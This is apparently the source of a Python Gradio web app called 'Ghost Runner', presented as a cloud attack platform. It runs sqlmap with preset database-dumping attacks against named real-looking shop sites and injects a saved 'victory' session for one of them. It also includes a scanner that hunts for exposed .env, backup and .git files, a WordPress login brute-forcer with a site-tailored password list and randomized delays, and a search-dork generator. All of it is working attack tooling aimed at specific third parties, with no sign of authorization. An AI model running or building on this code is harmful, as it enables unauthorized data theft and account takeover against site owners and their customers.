import gradio as gr import subprocess import os import shutil from pathlib import Path import requests import re from concurrent.futures import ThreadPoolExecutor import time import random # --- Session Restoration Logic --- def restore_session(): # SQLMap in Docker uses /root/.local/share/sqlmap/output/ session_source = "session.sqlite" target_base = Path("/root/.local/share/sqlmap/output/hashi.ae") if os.path.exists(session_source): try: target_base.mkdir(parents=True, exist_ok=True) shutil.copy(session_source, target_base / "session.sqlite") # Also try the www. variant target_www = Path("/root/.local/share/sqlmap/output/www.hashi.ae") target_www.mkdir(parents=True, exist_ok=True) shutil.copy(session_source, target_www / "session.sqlite") return f"✅ Victory Session Injected into {target_base}" except Exception as e: return f"⚠️ Session restore warning: {str(e)}" return "ℹ️ No session file found in repository." def run_sqlmap(url, threads, level, risk, tamper, techn, proxy, extra_args): # Restore session first session_status = restore_session() if not url: yield f"{session_status}\n❌ Error: Target URL is required." return # Base command cmd = ["python3", "/app/sqlmap-dev/sqlmap.py", "-u", url, "--batch"] # Performance & Level cmd += ["--threads", str(int(threads))] cmd += ["--level", str(int(level))] cmd += ["--risk", str(int(risk))] # Specific options if tamper: cmd += ["--tamper", tamper] if techn: cmd += ["--technique", techn] if proxy: cmd += ["--proxy", proxy] if extra_args: cmd += extra_args.split() yield f"{session_status}\n🚀 Launching SQLMAP Cloud Runner...\n🛰️ Command: {' '.join(cmd)}\n\n" try: process = subprocess.Popen( cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, bufsize=1, universal_newlines=True ) full_log = "" for line in process.stdout: full_log += line yield full_log process.wait() if process.returncode == 0: yield full_log + "\n✅ Scan completed successfully." else: yield full_log + f"\n⚠️ Scan stopped with return code {process.returncode}." except Exception as e: yield f"❌ Fatal Error: {str(e)}" # Pre-filled shortcuts def set_hashi_victory(): return ( "https://hashi.ae/shop/page/4/?add-to-cart=638", 10, 5, 3, "", "U", "", "--dbms=Oracle --dump --force-ssl --unstable --random-agent --no-cast" ) def set_search_attack(): return ( "https://hashi.ae/?s=iphone", 10, 5, 3, "space2comment", "BEU", "", "--dbms=Oracle --dump --force-ssl --unstable --random-agent --no-cast" ) def set_mysql_attack(): return ( "https://hashi.ae/?s=iphone", 10, 5, 3, "space2comment", "BEU", "", "--dbms=MySQL --dump --force-ssl --random-agent --no-cast" ) # --- Auto Hunter Logic (Merged) --- COMMON_PATHS = [ ".env", "wp-config.php.bak", "config.php.bak", "db.sql", "database.sql", "dump.sql", "backup.zip", "admin/", "login/", "wp-admin/", "dashboard/", "panel/", "user/", "auth/", "phpinfo.php", "robots.txt", "sitemap.xml", ".git/HEAD", ".vscode/sftp.json" ] def auto_hunt(domain): if not domain: yield "❌ Enter a domain first." return domain = domain.replace("https://", "").replace("http://", "").strip("/") base_url = f"https://{domain}" yield f"🚀 Launching Smart Auto-Hunter on {base_url}...\n" def check_path(path): url = f"{base_url}/{path}" try: r = requests.get(url, timeout=3, headers={"User-Agent": "Mozilla/5.0 (AutoHunter)"}) code = r.status_code size = len(r.content) if code == 200: if size < 500 and "do not exist" in r.text.lower(): return None return f"✅ FOUND: {url} (Size: {size})" elif code == 403: return f"🔒 FORBIDDEN: {url}" return None except: return None results = [] with ThreadPoolExecutor(max_workers=10) as executor: futures = [executor.submit(check_path, p) for p in COMMON_PATHS] for f in futures: res = f.result() if res: results.append(res) yield "\n".join(results) if not results: yield "\n🤷 No standard vulnerabilities found." else: yield "\n🎉 HUNT COMPLETE!" # --- Brute Force Logic (Fixed v2.2) --- # Removed 'admin' from default list to avoid stopping early on false positives PASSWORDS = [ "password", "123456", "hashi", "hashi123", "hashi2024", "hashi2025", "hashi.ae", "admin123", "admin2024", "admin2025", "qwerty", "letmein", "master", "root", "dragon", "superman", "welcome", "welcome1", "pass123", "love", "secret", "hashi_admin", "admin_hashi", "dubai", "uae", "uae123", "abudhabi", "dubai123" ] HEADERS = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" } def brute_force(url, username, custom_list): if not url or not username: yield "❌ URL and Username required." return pass_list = PASSWORDS.copy() if custom_list: pass_list += [p.strip() for p in custom_list.split('\n') if p.strip()] yield f"🚀 STARTING PLAN E: BRUTE FORCE on {username}@{url}\n" session = requests.Session() session.headers.update(HEADERS) for pwd in pass_list: try: time.sleep(random.uniform(0.5, 1.5)) data = { "log": username, "pwd": pwd, "wp-submit": "Log In", "redirect_to": f"{url}/wp-admin/", "testcookie": "1" } yield f"🔑 Testing: {pwd} ... " r = session.post(url, data=data, timeout=5, allow_redirects=True) # STRICT CHECK v2.2 # 1. Login Cookie Check is best cookies = session.cookies.get_dict() logged_in_cookie = any('wordpress_logged_in' in c for c in cookies) # 2. Strict Content Check success_content = any(s in r.text for s in ["Log Out", "Howdy", "tableau de bord"]) # 3. Strict URL Check (Must NOT contain wp-login.php) is_redirected_to_admin = "wp-admin" in r.url and "wp-login.php" not in r.url if logged_in_cookie or success_content or is_redirected_to_admin: yield "✅ SUCCESS! 🔓\n" yield f"🎉 CREDENTIALS FOUND: {username}:{pwd}\n" return elif "incorrect_password" in r.text or "lost your password" in r.text: yield "❌ Failed.\n" else: yield "❌ Failed (Generic).\n" except Exception as e: yield f"⚠️ Error: {str(e)}\n" yield "\n💀 Wordlist Exhausted." # --- Dork Studio Logic --- def generate_dorks(domain, targeted_extensions, find_admin, find_files, find_errors): dorks = [] base = f"site:{domain}" if domain else "" if find_admin: keywords = ["admin", "login", "dashboard", "portal", "cpanel", "wp-admin"] for k in keywords: dorks.append(f"Admin Search: {base} inurl:{k}") if find_files: exts = ["env", "log", "sql", "bak", "txt", "config"] if targeted_extensions: exts += targeted_extensions.split(",") for ext in exts: if ext.strip(): dorks.append(f"File Exposure ({ext.strip()}): {base} ext:{ext.strip()}") dorks.append(f"{base} intitle:\"index of\"") if find_errors: errors = ["SQL syntax", "warning: mysql_", "unclosed quotation mark", "syntax error"] for err in errors: dorks.append(f"Error Leak: {base} intext:\"{err}\"") return "\n".join(dorks) with gr.Blocks() as demo: gr.Markdown("# 🌊 GHOST RUNNER v2.2 (STRICT) 👻") gr.Markdown("Unified Cloud Attack Platform: SQLMap + Auto-Hunter + Brute Force.") with gr.Tabs(): # TAB 1: ATTACK RUNNER (SQLMap) with gr.TabItem("⚔️ SQL Attack Runner"): with gr.Row(): with gr.Column(scale=2): url_input = gr.Textbox(label="🎯 Target URL", placeholder="https://example.com/page.php?id=1") with gr.Tabs(): with gr.TabItem("🚀 Performance"): with gr.Row(): threads_input = gr.Slider(minimum=1, maximum=10, step=1, value=10, label="Threads") level_input = gr.Slider(minimum=1, maximum=5, step=1, value=5, label="Level") risk_input = gr.Slider(minimum=1, maximum=3, step=1, value=3, label="Risk") with gr.TabItem("🛡️ Advanced"): tamper_input = gr.Textbox(label="🧪 Tampers", placeholder="space2comment,randomcase") techn_input = gr.Textbox(label="📡 Technique", placeholder="U (UNION), B (Blind), etc.") proxy_input = gr.Textbox(label="🔌 Proxy (Optional)", placeholder="http://127.0.0.1:8080") extra_input = gr.Textbox(label="⚙️ Extra Arguments", placeholder="--dbms=Oracle --dump --batch") with gr.Row(): btn_run = gr.Button("🔥 START SCAN", variant="primary") with gr.Row(): btn_hashi = gr.Button("🏰 Hashi Victory", variant="secondary") btn_search = gr.Button("🔍 Search (Oracle)", variant="stop") btn_mysql = gr.Button("🐬 Search (MySQL - Plan D)", variant="secondary") btn_stop = gr.Button("🛑 STOP", variant="stop") with gr.Column(scale=3): output_log = gr.Code(label="📊 LIVE CLOUD LOGS", language="markdown", interactive=False, lines=30) # TAB 2: AUTO HUNTER with gr.TabItem("🤖 Auto-Hunter (Recon)"): with gr.Row(): with gr.Column(): t_domain = gr.Textbox(label="Target Domain", placeholder="younzee.com") btn_auto = gr.Button("🚀 START AUTO-SCAN", variant="primary") with gr.Column(): t_output = gr.Code(label="Live Results", language="markdown", lines=20) # TAB 3: BRUTE FORCE (Plan E) with gr.TabItem("🥊 Brute Force (Plan E)"): with gr.Row(): with gr.Column(): bf_url = gr.Textbox(label="Login URL", value="https://younzee.com/wp-login.php") bf_user = gr.Textbox(label="Username", value="admin") bf_pass = gr.Textbox(label="Custom Passwords", lines=5) btn_bf = gr.Button("🥊 LAUNCH ATTACK", variant="stop") with gr.Column(): bf_out = gr.Code(label="Brute Force Logs", language="markdown", lines=20) # TAB 4: RECON STUDIO (Legacy) with gr.TabItem("🦅 Dork Studio"): with gr.Row(): with gr.Column(): domain_input = gr.Textbox(label="Target Domain", placeholder="example.com") ext_input = gr.Textbox(label="Custom Extensions", placeholder="jsp, php, asp") with gr.Group(): check_admin = gr.Checkbox(label="Find Admin Panels", value=True) check_files = gr.Checkbox(label="Find Sensitive Files", value=True) check_errors = gr.Checkbox(label="Find SQL Errors", value=True) btn_gen = gr.Button("🔍 Generate Recon Dorks", variant="primary") with gr.Column(): dork_output = gr.Textbox(label="Generated Dorks", lines=20) # Event handlers btn_run.click(run_sqlmap,inputs=[url_input, threads_input, level_input, risk_input, tamper_input, techn_input, proxy_input, extra_input], outputs=output_log, queue=True) btn_hashi.click(set_hashi_victory, outputs=[url_input, threads_input, level_input, risk_input, tamper_input, techn_input, proxy_input, extra_input]) btn_search.click(set_search_attack, outputs=[url_input, threads_input, level_input, risk_input, tamper_input, techn_input, proxy_input, extra_input]) btn_mysql.click(set_mysql_attack, outputs=[url_input, threads_input, level_input, risk_input, tamper_input, techn_input, proxy_input, extra_input]) btn_auto.click(auto_hunt, inputs=t_domain, outputs=t_output) btn_bf.click(brute_force, inputs=[bf_url, bf_user, bf_pass], outputs=bf_out) btn_gen.click(generate_dorks, inputs=[domain_input, ext_input, check_admin, check_files, check_errors], outputs=dork_output) if __name__ == "__main__": print("✨ Ghost Runner v2.2 (Strict) Command Center Live.") demo.queue().launch( server_name="0.0.0.0", server_port=7860, theme=gr.themes.Soft(primary_hue="blue", secondary_hue="slate") )